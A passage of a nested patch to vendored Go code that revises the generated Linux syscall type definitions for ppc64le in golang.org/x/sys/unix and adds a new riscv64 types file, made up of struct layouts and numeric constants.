-+ Id uint32
-+ Linkname [68]uint8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]uint8
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64le.go b/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64le.go
-index b2b59992..046c2deb 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64le.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64le.go
-@@ -6,19 +6,12 @@
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-- PathMax = 0x1000
-+ SizeofPtr = 0x8
-+ SizeofLong = 0x8
- )
-
- type (
-- _C_short int16
-- _C_int int32
-- _C_long int64
-- _C_long_long int64
-+ _C_long int64
- )
-
- type Timespec struct {
-@@ -33,13 +26,11 @@ type Timeval struct {
-
- type Timex struct {
- Modes uint32
-- Pad_cgo_0 [4]byte
- Offset int64
- Freq int64
- Maxerror int64
- Esterror int64
- Status int32
-- Pad_cgo_1 [4]byte
- Constant int64
- Precision int64
- Tolerance int64
-@@ -48,14 +39,13 @@ type Timex struct {
- Ppsfreq int64
- Jitter int64
- Shift int32
-- Pad_cgo_2 [4]byte
- Stabil int64
- Jitcnt int64
- Calcnt int64
- Errcnt int64
- Stbcnt int64
- Tai int32
-- Pad_cgo_3 [44]byte
-+ _ [44]byte
- }
-
- type Time_t int64
-@@ -91,13 +81,6 @@ type Rusage struct {
- Nivcsw int64
- }
-
--type Rlimit struct {
-- Cur uint64
-- Max uint64
--}
--
--type _Gid_t uint32
--
- type Stat_t struct {
- Dev uint64
- Ino uint64
-@@ -105,7 +88,7 @@ type Stat_t struct {
- Mode uint32
- Uid uint32
- Gid uint32
-- X__pad2 int32
-+ _ int32
- Rdev uint64
- Size int64
- Blksize int64
-@@ -118,139 +101,29 @@ type Stat_t struct {
- _ uint64
- }
-
--type Statfs_t struct {
-- Type int64
-- Bsize int64
-- Blocks uint64
-- Bfree uint64
-- Bavail uint64
-- Files uint64
-- Ffree uint64
-- Fsid Fsid
-- Namelen int64
-- Frsize int64
-- Flags int64
-- Spare [4]int64
--}
--
- type Dirent struct {
-- Ino uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Name [256]uint8
-- Pad_cgo_0 [5]byte
--}
--
--type Fsid struct {
-- X__val [2]int32
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Name [256]uint8
-+ _ [5]byte
- }
-
- type Flock_t struct {
-- Type int16
-- Whence int16
-- Pad_cgo_0 [4]byte
-- Start int64
-- Len int64
-- Pid int32
-- Pad_cgo_1 [4]byte
--}
--
--type FscryptPolicy struct {
-- Version uint8
-- Contents_encryption_mode uint8
-- Filenames_encryption_mode uint8
-- Flags uint8
-- Master_key_descriptor [8]uint8
--}
--
--type FscryptKey struct {
-- Mode uint32
-- Raw [64]uint8
-- Size uint32
--}
--
--type KeyctlDHParams struct {
-- Private int32
-- Prime int32
-- Base int32
-+ Type int16
-+ Whence int16
-+ Start int64
-+ Len int64
-+ Pid int32
-+ _ [4]byte
- }
-
- const (
-- FADV_NORMAL = 0x0
-- FADV_RANDOM = 0x1
-- FADV_SEQUENTIAL = 0x2
-- FADV_WILLNEED = 0x3
-- FADV_DONTNEED = 0x4
-- FADV_NOREUSE = 0x5
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
- )
-
--type RawSockaddrInet4 struct {
-- Family uint16
-- Port uint16
-- Addr [4]byte /* in_addr */
-- Zero [8]uint8
--}
--
--type RawSockaddrInet6 struct {
-- Family uint16
-- Port uint16
-- Flowinfo uint32
-- Addr [16]byte /* in6_addr */
-- Scope_id uint32
--}
--
--type RawSockaddrUnix struct {
-- Family uint16
-- Path [108]int8
--}
--
--type RawSockaddrLinklayer struct {
-- Family uint16
-- Protocol uint16
-- Ifindex int32
-- Hatype uint16
-- Pkttype uint8
-- Halen uint8
-- Addr [8]uint8
--}
--
--type RawSockaddrNetlink struct {
-- Family uint16
-- Pad uint16
-- Pid uint32
-- Groups uint32
--}
--
--type RawSockaddrHCI struct {
-- Family uint16
-- Dev uint16
-- Channel uint16
--}
--
--type RawSockaddrCAN struct {
-- Family uint16
-- Pad_cgo_0 [2]byte
-- Ifindex int32
-- Addr [8]byte
--}
--
--type RawSockaddrALG struct {
-- Family uint16
-- Type [14]uint8
-- Feat uint32
-- Mask uint32
-- Name [64]uint8
--}
--
--type RawSockaddrVM struct {
-- Family uint16
-- Reserved1 uint16
-- Port uint32
-- Cid uint32
-- Zero [4]uint8
--}
--
- type RawSockaddr struct {
- Family uint16
- Data [14]uint8
-@@ -261,51 +134,20 @@ type RawSockaddrAny struct {
- Pad [96]uint8
- }
-
--type _Socklen uint32
--
--type Linger struct {
-- Onoff int32
-- Linger int32
--}
--
- type Iovec struct {
- Base *byte
- Len uint64
- }
-
--type IPMreq struct {
-- Multiaddr [4]byte /* in_addr */
-- Interface [4]byte /* in_addr */
--}
--
--type IPMreqn struct {
-- Multiaddr [4]byte /* in_addr */
-- Address [4]byte /* in_addr */
-- Ifindex int32
--}
--
--type IPv6Mreq struct {
-- Multiaddr [16]byte /* in6_addr */
-- Interface uint32
--}
--
--type PacketMreq struct {
-- Ifindex int32
-- Type uint16
-- Alen uint16
-- Address [8]uint8
--}
--
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
- Iov *Iovec
- Iovlen uint64
- Control *byte
- Controllen uint64
- Flags int32
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- }
-
- type Cmsghdr struct {
-@@ -314,277 +156,16 @@ type Cmsghdr struct {
- Type int32
- }
-
--type Inet4Pktinfo struct {
-- Ifindex int32
-- Spec_dst [4]byte /* in_addr */
-- Addr [4]byte /* in_addr */
--}
--
--type Inet6Pktinfo struct {
-- Addr [16]byte /* in6_addr */
-- Ifindex uint32
--}
--
--type IPv6MTUInfo struct {
-- Addr RawSockaddrInet6
-- Mtu uint32
--}
--
--type ICMPv6Filter struct {
-- Data [8]uint32
--}
--
--type Ucred struct {
-- Pid int32
-- Uid uint32
-- Gid uint32
--}
--
--type TCPInfo struct {
-- State uint8
-- Ca_state uint8
-- Retransmits uint8
-- Probes uint8
-- Backoff uint8
-- Options uint8
-- Pad_cgo_0 [2]byte
-- Rto uint32
-- Ato uint32
-- Snd_mss uint32
-- Rcv_mss uint32
-- Unacked uint32
-- Sacked uint32
-- Lost uint32
-- Retrans uint32
-- Fackets uint32
-- Last_data_sent uint32
-- Last_ack_sent uint32
-- Last_data_recv uint32
-- Last_ack_recv uint32
-- Pmtu uint32
-- Rcv_ssthresh uint32
-- Rtt uint32
-- Rttvar uint32
-- Snd_ssthresh uint32
-- Snd_cwnd uint32
-- Advmss uint32
-- Reordering uint32
-- Rcv_rtt uint32
-- Rcv_space uint32
-- Total_retrans uint32
--}
--
- const (
-- SizeofSockaddrInet4 = 0x10
-- SizeofSockaddrInet6 = 0x1c
-- SizeofSockaddrAny = 0x70
-- SizeofSockaddrUnix = 0x6e
-- SizeofSockaddrLinklayer = 0x14
-- SizeofSockaddrNetlink = 0xc
-- SizeofSockaddrHCI = 0x6
-- SizeofSockaddrCAN = 0x10
-- SizeofSockaddrALG = 0x58
-- SizeofSockaddrVM = 0x10
-- SizeofLinger = 0x8
-- SizeofIovec = 0x10
-- SizeofIPMreq = 0x8
-- SizeofIPMreqn = 0xc
-- SizeofIPv6Mreq = 0x14
-- SizeofPacketMreq = 0x10
-- SizeofMsghdr = 0x38
-- SizeofCmsghdr = 0x10
-- SizeofInet4Pktinfo = 0xc
-- SizeofInet6Pktinfo = 0x14
-- SizeofIPv6MTUInfo = 0x20
-- SizeofICMPv6Filter = 0x20
-- SizeofUcred = 0xc
-- SizeofTCPInfo = 0x68
-+ SizeofIovec = 0x10
-+ SizeofMsghdr = 0x38
-+ SizeofCmsghdr = 0x10
- )
-
- const (
-- IFA_UNSPEC = 0x0
-- IFA_ADDRESS = 0x1
-- IFA_LOCAL = 0x2
-- IFA_LABEL = 0x3
-- IFA_BROADCAST = 0x4
-- IFA_ANYCAST = 0x5
-- IFA_CACHEINFO = 0x6
-- IFA_MULTICAST = 0x7
-- IFLA_UNSPEC = 0x0
-- IFLA_ADDRESS = 0x1
-- IFLA_BROADCAST = 0x2
-- IFLA_IFNAME = 0x3
-- IFLA_MTU = 0x4
-- IFLA_LINK = 0x5
-- IFLA_QDISC = 0x6
-- IFLA_STATS = 0x7
-- IFLA_COST = 0x8
-- IFLA_PRIORITY = 0x9
-- IFLA_MASTER = 0xa
-- IFLA_WIRELESS = 0xb
-- IFLA_PROTINFO = 0xc
-- IFLA_TXQLEN = 0xd
-- IFLA_MAP = 0xe
-- IFLA_WEIGHT = 0xf
-- IFLA_OPERSTATE = 0x10
-- IFLA_LINKMODE = 0x11
-- IFLA_LINKINFO = 0x12
-- IFLA_NET_NS_PID = 0x13
-- IFLA_IFALIAS = 0x14
-- IFLA_MAX = 0x2b
-- RT_SCOPE_UNIVERSE = 0x0
-- RT_SCOPE_SITE = 0xc8
-- RT_SCOPE_LINK = 0xfd
-- RT_SCOPE_HOST = 0xfe
-- RT_SCOPE_NOWHERE = 0xff
-- RT_TABLE_UNSPEC = 0x0
-- RT_TABLE_COMPAT = 0xfc
-- RT_TABLE_DEFAULT = 0xfd
-- RT_TABLE_MAIN = 0xfe
-- RT_TABLE_LOCAL = 0xff
-- RT_TABLE_MAX = 0xffffffff
-- RTA_UNSPEC = 0x0
-- RTA_DST = 0x1
-- RTA_SRC = 0x2
-- RTA_IIF = 0x3
-- RTA_OIF = 0x4
-- RTA_GATEWAY = 0x5
-- RTA_PRIORITY = 0x6
-- RTA_PREFSRC = 0x7
-- RTA_METRICS = 0x8
-- RTA_MULTIPATH = 0x9
-- RTA_FLOW = 0xb
-- RTA_CACHEINFO = 0xc
-- RTA_TABLE = 0xf
-- RTN_UNSPEC = 0x0
-- RTN_UNICAST = 0x1
-- RTN_LOCAL = 0x2
-- RTN_BROADCAST = 0x3
-- RTN_ANYCAST = 0x4
-- RTN_MULTICAST = 0x5
-- RTN_BLACKHOLE = 0x6
-- RTN_UNREACHABLE = 0x7
-- RTN_PROHIBIT = 0x8
-- RTN_THROW = 0x9
-- RTN_NAT = 0xa
-- RTN_XRESOLVE = 0xb
-- RTNLGRP_NONE = 0x0
-- RTNLGRP_LINK = 0x1
-- RTNLGRP_NOTIFY = 0x2
-- RTNLGRP_NEIGH = 0x3
-- RTNLGRP_TC = 0x4
-- RTNLGRP_IPV4_IFADDR = 0x5
-- RTNLGRP_IPV4_MROUTE = 0x6
-- RTNLGRP_IPV4_ROUTE = 0x7
-- RTNLGRP_IPV4_RULE = 0x8
-- RTNLGRP_IPV6_IFADDR = 0x9
-- RTNLGRP_IPV6_MROUTE = 0xa
-- RTNLGRP_IPV6_ROUTE = 0xb
-- RTNLGRP_IPV6_IFINFO = 0xc
-- RTNLGRP_IPV6_PREFIX = 0x12
-- RTNLGRP_IPV6_RULE = 0x13
-- RTNLGRP_ND_USEROPT = 0x14
-- SizeofNlMsghdr = 0x10
-- SizeofNlMsgerr = 0x14
-- SizeofRtGenmsg = 0x1
-- SizeofNlAttr = 0x4
-- SizeofRtAttr = 0x4
-- SizeofIfInfomsg = 0x10
-- SizeofIfAddrmsg = 0x8
-- SizeofRtMsg = 0xc
-- SizeofRtNexthop = 0x8
-+ SizeofSockFprog = 0x10
- )
-
--type NlMsghdr struct {
-- Len uint32
-- Type uint16
-- Flags uint16
-- Seq uint32
-- Pid uint32
--}
--
--type NlMsgerr struct {
-- Error int32
-- Msg NlMsghdr
--}
--
--type RtGenmsg struct {
-- Family uint8
--}
--
--type NlAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type RtAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type IfInfomsg struct {
-- Family uint8
-- X__ifi_pad uint8
-- Type uint16
-- Index int32
-- Flags uint32
-- Change uint32
--}
--
--type IfAddrmsg struct {
-- Family uint8
-- Prefixlen uint8
-- Flags uint8
-- Scope uint8
-- Index uint32
--}
--
--type RtMsg struct {
-- Family uint8
-- Dst_len uint8
-- Src_len uint8
-- Tos uint8
-- Table uint8
-- Protocol uint8
-- Scope uint8
-- Type uint8
-- Flags uint32
--}
--
--type RtNexthop struct {
-- Len uint16
-- Flags uint8
-- Hops uint8
-- Ifindex int32
--}
--
--const (
-- SizeofSockFilter = 0x8
-- SizeofSockFprog = 0x10
--)
--
--type SockFilter struct {
-- Code uint16
-- Jt uint8
-- Jf uint8
-- K uint32
--}
--
--type SockFprog struct {
-- Len uint16
-- Pad_cgo_0 [6]byte
-- Filter *SockFilter
--}
--
--type InotifyEvent struct {
-- Wd int32
-- Mask uint32
-- Cookie uint32
-- Len uint32
--}
--
--const SizeofInotifyEvent = 0x10
--
- type PtraceRegs struct {
- Gpr [32]uint64
- Nip uint64
-@@ -616,71 +197,37 @@ type Sysinfo_t struct {
- Freeswap uint64
- Procs uint16
- Pad uint16
-- Pad_cgo_0 [4]byte
- Totalhigh uint64
- Freehigh uint64
- Unit uint32
-- X_f [0]uint8
-- Pad_cgo_1 [4]byte
--}
--
--type Utsname struct {
-- Sysname [65]uint8
-- Nodename [65]uint8
-- Release [65]uint8
-- Version [65]uint8
-- Machine [65]uint8
-- Domainname [65]uint8
-+ _ [0]uint8
-+ _ [4]byte
- }
-
- type Ustat_t struct {
-- Tfree int32
-- Pad_cgo_0 [4]byte
-- Tinode uint64
-- Fname [6]uint8
-- Fpack [6]uint8
-- Pad_cgo_1 [4]byte
-+ Tfree int32
-+ Tinode uint64
-+ Fname [6]uint8
-+ Fpack [6]uint8
-+ _ [4]byte
- }
-
- type EpollEvent struct {
-- Events uint32
-- X_padFd int32
-- Fd int32
-- Pad int32
--}
--
--const (
-- AT_FDCWD = -0x64
-- AT_REMOVEDIR = 0x200
-- AT_SYMLINK_FOLLOW = 0x400
-- AT_SYMLINK_NOFOLLOW = 0x100
--)
--
--type PollFd struct {
-- Fd int32
-- Events int16
-- Revents int16
-+ Events uint32
-+ _ int32
-+ Fd int32
-+ Pad int32
- }
-
- const (
-- POLLIN = 0x1
-- POLLPRI = 0x2
-- POLLOUT = 0x4
- POLLRDHUP = 0x2000
-- POLLERR = 0x8
-- POLLHUP = 0x10
-- POLLNVAL = 0x20
- )
-
- type Sigset_t struct {
-- X__val [16]uint64
-+ Val [16]uint64
- }
-
--const RNDGETENTCNT = 0x40045200
--
--const PERF_IOC_FLAG_GROUP = 0x1
--
--const _SC_PAGESIZE = 0x1e
-+const _C__NSIG = 0x41
-
- type Termios struct {
- Iflag uint32
-@@ -693,20 +240,11 @@ type Termios struct {
- Ospeed uint32
- }
-
--type Winsize struct {
-- Row uint16
-- Col uint16
-- Xpixel uint16
-- Ypixel uint16
--}
--
- type Taskstats struct {
- Version uint16
-- Pad_cgo_0 [2]byte
- Ac_exitcode uint32
- Ac_flag uint8
- Ac_nice uint8
-- Pad_cgo_1 [6]byte
- Cpu_count uint64
- Cpu_delay_total uint64
- Blkio_count uint64
-@@ -718,13 +256,12 @@ type Taskstats struct {
- Ac_comm [32]uint8
- Ac_sched uint8
- Ac_pad [3]uint8
-- Pad_cgo_2 [4]byte
-+ _ [4]byte
- Ac_uid uint32
- Ac_gid uint32
- Ac_pid uint32
- Ac_ppid uint32
- Ac_btime uint32
-- Pad_cgo_3 [4]byte
- Ac_etime uint64
- Ac_utime uint64
- Ac_stime uint64
-@@ -748,55 +285,319 @@ type Taskstats struct {
- Cpu_scaled_run_real_total uint64
- Freepages_count uint64
- Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
- }
-
-+type cpuMask uint64
-+
- const (
-- TASKSTATS_CMD_UNSPEC = 0x0
-- TASKSTATS_CMD_GET = 0x1
-- TASKSTATS_CMD_NEW = 0x2
-- TASKSTATS_TYPE_UNSPEC = 0x0
-- TASKSTATS_TYPE_PID = 0x1
-- TASKSTATS_TYPE_TGID = 0x2
-- TASKSTATS_TYPE_STATS = 0x3
-- TASKSTATS_TYPE_AGGR_PID = 0x4
-- TASKSTATS_TYPE_AGGR_TGID = 0x5
-- TASKSTATS_TYPE_NULL = 0x6
-- TASKSTATS_CMD_ATTR_UNSPEC = 0x0
-- TASKSTATS_CMD_ATTR_PID = 0x1
-- TASKSTATS_CMD_ATTR_TGID = 0x2
-- TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3
-- TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4
-+ _NCPUBITS = 0x40
- )
-
--type Genlmsghdr struct {
-- Cmd uint8
-- Version uint8
-- Reserved uint16
-+const (
-+ CBitFieldMaskBit0 = 0x1
-+ CBitFieldMaskBit1 = 0x2
-+ CBitFieldMaskBit2 = 0x4
-+ CBitFieldMaskBit3 = 0x8
-+ CBitFieldMaskBit4 = 0x10
-+ CBitFieldMaskBit5 = 0x20
-+ CBitFieldMaskBit6 = 0x40
-+ CBitFieldMaskBit7 = 0x80
-+ CBitFieldMaskBit8 = 0x100
-+ CBitFieldMaskBit9 = 0x200
-+ CBitFieldMaskBit10 = 0x400
-+ CBitFieldMaskBit11 = 0x800
-+ CBitFieldMaskBit12 = 0x1000
-+ CBitFieldMaskBit13 = 0x2000
-+ CBitFieldMaskBit14 = 0x4000
-+ CBitFieldMaskBit15 = 0x8000
-+ CBitFieldMaskBit16 = 0x10000
-+ CBitFieldMaskBit17 = 0x20000
-+ CBitFieldMaskBit18 = 0x40000
-+ CBitFieldMaskBit19 = 0x80000
-+ CBitFieldMaskBit20 = 0x100000
-+ CBitFieldMaskBit21 = 0x200000
-+ CBitFieldMaskBit22 = 0x400000
-+ CBitFieldMaskBit23 = 0x800000
-+ CBitFieldMaskBit24 = 0x1000000
-+ CBitFieldMaskBit25 = 0x2000000
-+ CBitFieldMaskBit26 = 0x4000000
-+ CBitFieldMaskBit27 = 0x8000000
-+ CBitFieldMaskBit28 = 0x10000000
-+ CBitFieldMaskBit29 = 0x20000000
-+ CBitFieldMaskBit30 = 0x40000000
-+ CBitFieldMaskBit31 = 0x80000000
-+ CBitFieldMaskBit32 = 0x100000000
-+ CBitFieldMaskBit33 = 0x200000000
-+ CBitFieldMaskBit34 = 0x400000000
-+ CBitFieldMaskBit35 = 0x800000000
-+ CBitFieldMaskBit36 = 0x1000000000
-+ CBitFieldMaskBit37 = 0x2000000000
-+ CBitFieldMaskBit38 = 0x4000000000
-+ CBitFieldMaskBit39 = 0x8000000000
-+ CBitFieldMaskBit40 = 0x10000000000
-+ CBitFieldMaskBit41 = 0x20000000000
-+ CBitFieldMaskBit42 = 0x40000000000
-+ CBitFieldMaskBit43 = 0x80000000000
-+ CBitFieldMaskBit44 = 0x100000000000
-+ CBitFieldMaskBit45 = 0x200000000000
-+ CBitFieldMaskBit46 = 0x400000000000
-+ CBitFieldMaskBit47 = 0x800000000000
-+ CBitFieldMaskBit48 = 0x1000000000000
-+ CBitFieldMaskBit49 = 0x2000000000000
-+ CBitFieldMaskBit50 = 0x4000000000000
-+ CBitFieldMaskBit51 = 0x8000000000000
-+ CBitFieldMaskBit52 = 0x10000000000000
-+ CBitFieldMaskBit53 = 0x20000000000000
-+ CBitFieldMaskBit54 = 0x40000000000000
-+ CBitFieldMaskBit55 = 0x80000000000000
-+ CBitFieldMaskBit56 = 0x100000000000000
-+ CBitFieldMaskBit57 = 0x200000000000000
-+ CBitFieldMaskBit58 = 0x400000000000000
-+ CBitFieldMaskBit59 = 0x800000000000000
-+ CBitFieldMaskBit60 = 0x1000000000000000
-+ CBitFieldMaskBit61 = 0x2000000000000000
-+ CBitFieldMaskBit62 = 0x4000000000000000
-+ CBitFieldMaskBit63 = 0x8000000000000000
-+)
-+
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [118]uint8
-+ _ uint64
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint64
-+}
-+
-+type Statfs_t struct {
-+ Type int64
-+ Bsize int64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Files uint64
-+ Ffree uint64
-+ Fsid Fsid
-+ Namelen int64
-+ Frsize int64
-+ Flags int64
-+ Spare [4]int64
-+}
-+
-+type TpacketHdr struct {
-+ Status uint64
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
-+ _ [4]byte
- }
-
- const (
-- CTRL_CMD_UNSPEC = 0x0
-- CTRL_CMD_NEWFAMILY = 0x1
-- CTRL_CMD_DELFAMILY = 0x2
-- CTRL_CMD_GETFAMILY = 0x3
-- CTRL_CMD_NEWOPS = 0x4
-- CTRL_CMD_DELOPS = 0x5
-- CTRL_CMD_GETOPS = 0x6
-- CTRL_CMD_NEWMCAST_GRP = 0x7
-- CTRL_CMD_DELMCAST_GRP = 0x8
-- CTRL_CMD_GETMCAST_GRP = 0x9
-- CTRL_ATTR_UNSPEC = 0x0
-- CTRL_ATTR_FAMILY_ID = 0x1
-- CTRL_ATTR_FAMILY_NAME = 0x2
-- CTRL_ATTR_VERSION = 0x3
-- CTRL_ATTR_HDRSIZE = 0x4
-- CTRL_ATTR_MAXATTR = 0x5
-- CTRL_ATTR_OPS = 0x6
-- CTRL_ATTR_MCAST_GROUPS = 0x7
-- CTRL_ATTR_OP_UNSPEC = 0x0
-- CTRL_ATTR_OP_ID = 0x1
-- CTRL_ATTR_OP_FLAGS = 0x2
-- CTRL_ATTR_MCAST_GRP_UNSPEC = 0x0
-- CTRL_ATTR_MCAST_GRP_NAME = 0x1
-- CTRL_ATTR_MCAST_GRP_ID = 0x2
-+ SizeofTpacketHdr = 0x20
- )
-+
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int64
-+}
-+
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
-+ _ [4]byte
-+}
-+
-+const (
-+ BLKPG = 0x20001269
-+)
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+ _ [4]byte
-+}
-+
-+type CryptoUserAlg struct {
-+ Name [64]uint8
-+ Driver_name [64]uint8
-+ Module_name [64]uint8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-+
-+type CryptoStatAEAD struct {
-+ Type [64]uint8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatAKCipher struct {
-+ Type [64]uint8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCipher struct {
-+ Type [64]uint8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCompress struct {
-+ Type [64]uint8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatHash struct {
-+ Type [64]uint8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatKPP struct {
-+ Type [64]uint8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatRNG struct {
-+ Type [64]uint8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatLarval struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportLarval struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportHash struct {
-+ Type [64]uint8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-+
-+type CryptoReportCipher struct {
-+ Type [64]uint8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+}
-+
-+type CryptoReportBlkCipher struct {
-+ Type [64]uint8
-+ Geniv [64]uint8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportAEAD struct {
-+ Type [64]uint8
-+ Geniv [64]uint8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportComp struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportRNG struct {
-+ Type [64]uint8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]uint8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint64
-+ Inode uint64
-+ Rdevice uint64
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]uint8
-+ Encrypt_key [32]uint8
-+ Init [2]uint64
-+ Reserved [4]uint8
-+ _ [4]byte
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]uint8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]uint8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]uint8
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_riscv64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_riscv64.go
-new file mode 100644
-index 00000000..0f2f61a6
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_riscv64.go
-@@ -0,0 +1,621 @@
-+// cgo -godefs -- -Wall -Werror -static -I/tmp/include linux/types.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build riscv64,linux
-+
-+package unix
-+
-+const (
-+ SizeofPtr = 0x8
-+ SizeofLong = 0x8
-+)
-+
-+type (
-+ _C_long int64
-+)
-+
-+type Timespec struct {
-+ Sec int64
-+ Nsec int64
-+}
-+
-+type Timeval struct {
-+ Sec int64
-+ Usec int64
-+}
-+
-+type Timex struct {
-+ Modes uint32
-+ Offset int64
-+ Freq int64
-+ Maxerror int64
-+ Esterror int64
-+ Status int32
-+ Constant int64
-+ Precision int64
-+ Tolerance int64
-+ Time Timeval
-+ Tick int64
-+ Ppsfreq int64
-+ Jitter int64
-+ Shift int32
-+ Stabil int64
-+ Jitcnt int64
-+ Calcnt int64
-+ Errcnt int64
-+ Stbcnt int64
-+ Tai int32
-+ _ [44]byte
-+}
-+
-+type Time_t int64
-+
-+type Tms struct {
-+ Utime int64
-+ Stime int64
-+ Cutime int64
-+ Cstime int64
-+}
-+
-+type Utimbuf struct {
-+ Actime int64
-+ Modtime int64
-+}
-+
-+type Rusage struct {
-+ Utime Timeval
-+ Stime Timeval
-+ Maxrss int64
-+ Ixrss int64
-+ Idrss int64
-+ Isrss int64
-+ Minflt int64
-+ Majflt int64
-+ Nswap int64
-+ Inblock int64
-+ Oublock int64
-+ Msgsnd int64
-+ Msgrcv int64
-+ Nsignals int64
-+ Nvcsw int64
-+ Nivcsw int64
-+}
-+
-+type Stat_t struct {
-+ Dev uint64
-+ Ino uint64
-+ Mode uint32
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint64
-+ _ uint64
-+ Size int64
-+ Blksize int32
-+ _ int32
-+ Blocks int64
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ _ [2]int32
-+}
-+
-+type Dirent struct {
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Name [256]uint8
-+ _ [5]byte
-+}
-+
-+type Flock_t struct {
-+ Type int16
-+ Whence int16
-+ Start int64
-+ Len int64
-+ Pid int32
-+ _ [4]byte
-+}
-+
-+const (
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
-+)
-+
-+type RawSockaddr struct {
-+ Family uint16
-+ Data [14]uint8
-+}
-+
-+type RawSockaddrAny struct {
-+ Addr RawSockaddr
-+ Pad [96]uint8
-+}
-+
-+type Iovec struct {
-+ Base *byte
-+ Len uint64
-+}
-+
-+type Msghdr struct {
-+ Name *byte
-+ Namelen uint32
-+ Iov *Iovec
-+ Iovlen uint64
-+ Control *byte
-+ Controllen uint64
-+ Flags int32
-+ _ [4]byte
-+}
-+
-+type Cmsghdr struct {
-+ Len uint64
-+ Level int32
-+ Type int32
-+}
-+
-+const (
-+ SizeofIovec = 0x10
-+ SizeofMsghdr = 0x38
-+ SizeofCmsghdr = 0x10
-+)
-+
-+const (
-+ SizeofSockFprog = 0x10
-+)
-+
-+type PtraceRegs struct {
-+ Pc uint64
-+ Ra uint64
-+ Sp uint64
-+ Gp uint64
-+ Tp uint64
-+ T0 uint64
-+ T1 uint64
-+ T2 uint64
-+ S0 uint64
-+ S1 uint64
-+ A0 uint64
-+ A1 uint64
-+ A2 uint64
-+ A3 uint64
-+ A4 uint64
-+ A5 uint64
-+ A6 uint64
-+ A7 uint64
-+ S2 uint64
-+ S3 uint64
-+ S4 uint64
